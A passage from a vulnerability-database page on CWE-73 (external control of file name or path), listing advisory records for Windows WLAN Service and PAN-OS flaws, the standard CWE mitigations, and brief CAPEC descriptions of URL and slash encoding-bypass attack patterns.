"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L421"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/PostMeta.php#L523"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/classes/Posts.php#L1961"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpforo/tags/3.0.2/includes/functions.php#L2641"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3503313/wpforo"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e46ac8d-89ee-4480-bb96-83f2044a4323?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-354X-C94F-PRXC
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30External control of file name or path in Windows WLAN Service allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-59511"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T18:15:37Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Windows WLAN Service allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-354x-c94f-prxc",
"modified": "2025-11-11T18:30:20Z",
"published": "2025-11-11T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59511"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59511"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35M2-6V5H-6F23
Vulnerability from github – Published: 2023-05-10 18:30 – Updated: 2024-04-04 04:01A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with access to the web interface to export local files from the firewall through a race condition.
{
"affected": [],
"aliases": [
"CVE-2023-0008"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T17:15:09Z",
"severity": "MODERATE"
},
"details": "A file disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with access to the web interface to export local files from the firewall through a race condition.\n\n",
"id": "GHSA-35m2-6v5h-6f23",
"modified": "2024-04-04T04:01:23Z",
"published": "2023-05-10T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0008"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2023-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.